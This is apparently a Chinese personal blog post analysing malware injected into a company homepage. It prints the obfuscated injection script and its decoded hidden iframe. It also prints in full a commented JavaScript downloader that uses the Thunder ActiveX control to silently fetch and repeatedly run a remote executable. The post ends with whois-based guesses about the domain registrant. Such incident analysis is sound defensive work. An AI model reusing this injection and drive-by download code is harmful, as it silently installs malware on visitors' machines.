周六在公司值班的时候, 老大打电话给公司市场部的人, 说是我们公司的主页好像有问题, 可能被人放了病毒了.
我于是打开公司的主页看了一下. 可能是因为我用的是firefox, 没有什么明显的症状(老大那边说会弹出OutLook). 看了一下源代码, 还比较仔细的把里面的script从头到尾捋了一遍, 最后发现那个放病毒的人很没有技术含量地把这段script放在了最下面:
t='60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,118,105,112,46,121,51,49,52,46,99,111,109,47,97,100,47,49,46,104,116,109,32,119,105,100,116,104,61,49,48,48,32,104,101,105,103,104,116,61,48,62,60,47,105,102,114,97,109,101,62';
t=eval('String.fromCharCode('+t+')');
document.write(t);
很明显 — 将要插入的代码翻译成ASCII码, 并用逗号隔开放在变量t里面, 再调用String.fromCharCode()方法将这些ASCII码转回成字符串, 最后document.write()写入到HTML代码的最后.
简单的用PL/SQL写了个翻译脚本, 翻译出来的内容如下:
(请勿访问其中的网址!!)
<iframe src=http://vip.y314.com/ad/1.htm width=100 height=0></iframe>
到这里, 其实已经很明显了. 果然, 用Google搜索这个二级域名, 可以看到Google提示该网站可能会损害您的计算机.
本来到这也就算差不多了, 但我就是想再挖深一点, 于是把上面那个iframe指向的页面用Flashget给下了下来…
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII" />
<title>没有此页面</title>
<script language="javascript" src="http://count34.51yes.com/click.aspx?id=349985552&logo=1">
</script>
</head><body>
肌南迷傩艩仍吞犘章躺脿壮茂阅犎酝虪串氨盼㈣趑鸷鼢鳟鞒蜱爷梏盱疮篝蜷泗翡⒕娂仍吞炯扰聊炯陨蕴啪无法找到该页集陨蕴啪娂团粤犎栽协叛丈纸⒚镱翦铘澧犆镱翦铘舰翦繇旎犮栳蝮弭角虏潮并緤加再膛狋褰Ⅳ屮舣泱螈緤牋孪馁狖犳镱艉牴痿拆魻宋体狚姞犎睜麪骘铘籂辈痿叼魻宋体狚姞犎矤麪骘铘籂桂舣辈痿犓翁鍫龏牋梁扉铍狖犮镬矧籂蝈錉龏牋梁鲩箝翦錉麪泔祜蚝犿狎镲顮龏集釉偬啪娂帕木悸夏倬荚谅膛狑殇翳降鞍犫矧溴蚪盃沐祆箴徙轭缃卑炯砸炯阅緤奸骝犴鍫篁憬Ⅵ轲碑梏恝狑殇翳舰阿犺彘玷艚怙蜾弪舰阿炯骝犴寰娂殒蜥礤狊蜚舰鲩鸩繇鏖漪杞桢殓梏舰阿犫矧溴蚪⒕集殒蜥礤緤奸骝犴鍫篁憬Ⅵ轲繇鏖漪杞⒈鞍桢殓梏舰阿犫矧溴蚪⒕集殒蜥礤緤艰本无法找到该页集璞緤您正在搜索的页面可能已经删除、更名或暂时不可用。娂栩緤拣厩氤⑹砸韵虏僮鳎杭緤减炀娂扉救繁d榔鞯牡刂防钢邢允镜耐镜刂返钠葱春透袷秸肺尬蟆<榫娂扉救绻üセ髁唇佣酱锪烁猛常胗胪竟芾碓绷担ㄖ歉昧唇拥母袷讲徽贰集扉緤检榫单击坚犺蝈娼㈥狯狍泸轲艉栝篝矧忉汶ū竞笸思景磁コ⑹粤硪桓隽唇印<榫娂炀娂璨救栽袪错误牬按牠犖募蚰柯嘉凑业健<怛旧铘弪铄魻信息服务牗缮萤集璨緤艰蚓娂鹁技术信息(为技术支持人员提供)集鹁娂蹯緤检榫转到牸釥栩彐舰梏麴函锂黹泸矬镦舢泔懑骥扉铍扉铍殇礁备阿就殂蝻箫骠牪分С址窦静⑺阉靼é熹聃锘仍孕︱漶躏缓挺熹聃锘窗处蜾聃锘的标题。集扉緤检榫打开漶躏簧捎牥镏蜾聃锘(可在犐捎牴芾砥鳡ㄩ铄繇珧中访问),然后搜索标题为漶躏煌旧柚忙蜾聃锘、漶躏怀9婀芾砣挝瘭蜾聃锘和漶躏还赜谧远ㄒ宕砦笙ⅵ蜾聃锘的主题。集扉緤集蹯緤娂木集砸炯谅膛炯夏倬集仍吞緤俭泸轲魻豉疱舰翦筱蜷痿⒕骢钽糸镱犻铋舁麪滹沲礤铘蜷翦áⅸ积鏖钿秣铎镝錉綘轭轸患泸轲艟
</body></html>
<iframe src=xl.htm width=1 height=0></iframe>
<script language="javascript" src="http://count32.51yes.com/click.aspx?id=320449568&logo=1">
</script>
中间从”肌南”开始的一大段乱码, 不知道为啥要整成那样, 反正大概就是要模仿一个”该页无法显示”的东西吧. 最上面和最下面的script貌似是指向51yes的计数器, 反正51yes计数器在Google眼里也不是什么好鸟. 倒数第二行又有一个iframe, 指向同一网站的另一个页面, 并且从设置的大小来看, 也是属于不准备给人看的. 同样, 将xl.htm下载下来:
var thunder_server=null;
var id_file=0;//记录下载任务id
//初始化控件,返回1表示安装了web讯雷,0为出现错误
function init()
{
try
{
thunder_server = new ActiveXObject("ThunderServer.webThunder.1");
}
catch(e)
{
//alert("init activex failed");
return 0;
}
return 1;
}
////////////////////////////////////注意,核心函数////////////////////////////////////////
//////////成功执行后函数返回添加的下载任务的id,否则,返回1///////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////
function downfile()
{
thunder_server.SetConfig("MessagePanel","DownloadComplete","0");//下载完毕后无显示面版
thunder_server.SetConfig("Sound","DownloadComplete","0");//下载完毕无声音
thunder_server.ShowBrowserWindow();
//thunder_server.SetBrowserWindowSize(0, 0, 0, 0);
//不添加的话thunder_server.AddTask()就不会成功被执行,郁闷.........
var szURL= "http://www.onlinek.net/ad/log/1.exe";
//需要下载的程序的URL
var szFileName="test.exe";
//另存为的文件名
var szSavePath="d:";
//szSavePath=thunder_server.GetServerPath();
//另存为的路径
var szComments="";
//注释
var szRefURL="";
//引用URL
var nStartMode=1;
//0为手动开始,1为自动开始
var nOnlyFromOrigin=0;
//只从原始地址下载,0为否
var nOriginThreadNum=5;
//下载程序的线程数
var nIsNeedAccount=0;
//是否需要登陆,0为无需登陆
var szUserName="";
//登陆用户名
var szPassword="";
//登陆密码
var szTaskClass="";
//下载任务的类别,如“其他”,“软件”,“游戏”,“影视”等等
var szCID="";
//下载讯雷资源时才用到
var nIsAddUncompletedTask=0;
//看名字就知道
var szStatURL="";
//thunder_server.SetVariable("DoIntelligentName", "");
//调用AddTask()方法开始下载目标程序
var retStr = thunder_server.AddTask(szURL, szFileName, szSavePath,szComments, szRefURL,
nStartMode, nOnlyFromOrigin,nOriginThreadNum,
nIsNeedAccount, szUserName,szPassword,
szTaskClass, szCID, nIsAddUncompletedTask, szStatURL);
thunder_server.HideBrowserWindow(1);
//调用AddTask()方法后立即关掉打开的下载窗口
var ret_code = new Number();
var ret_msg = new String();
var aryStr = new String();
if (retStr.length > 0)
{
aryStr = retStr.split("{\r*\r}");
ret_code = parseInt(aryStr[0]);//记录添加任务结果,0为添加成功,1为出现错误,100为重复URL
ret_msg = aryStr[1];//正确执行后为添加的下载任务的id值
}
else //失败
{
return 1;
}
if(ret_code==1)return 1;
return ret_msg;
}
//运行下载后的文件
function open()
{
thunder_server.OpenFile(id_file);
}
function exec()
{
var ret=init();
if(ret==0)return;
id_file=downfile();
var i;
for(i=0;id_file==1&&i<50;i++)id_file=downfile();
if(id_file==1)return;
//若出现错误则一直调用downfile()函数直到成功为止!!
setInterval("open()",5000);
//搞了半天没有搞出下载完毕的回调函数,
//只能5秒为间隔的运行下载的程序。
//若文件没有下载完毕,调用open()函数时文件并未运行
}
搞到这里我真的很想笑了……多么用心编写程序并添加注释的程序员啊, 为啥要去搞这些事情呢……
具体到这个”假装”是htm其实是javascript的东西, 重点就在于www.onlinek.net网站上的那个1.exe可执行文件. 到了这一步我可是不想再继续了, 鬼知道那个1.exe是啥……
最后, 在whois上查了y314.com和onlinek.net两个域名的注册信息. 巧合的是他们都是在2006-09-17注册的, 并且都是1年, 还有, 留的传真号码也是一样的. 顺着这个电话号码找到的居然是一个叫艾美摄影化妆学校的地方(电话留在最下面).
y314.com注册信息里那个手机是东莞的.
最有意思的是y314.com注册信息里那个邮箱, 用这个邮箱可以搜到很多东西(Google还有百度). 可以看出这个人学了一段时间asp, 后来大概是到东莞来找工作了吧. 不确定onlinek.net是不是也是他注册的.
好玩么, 同学?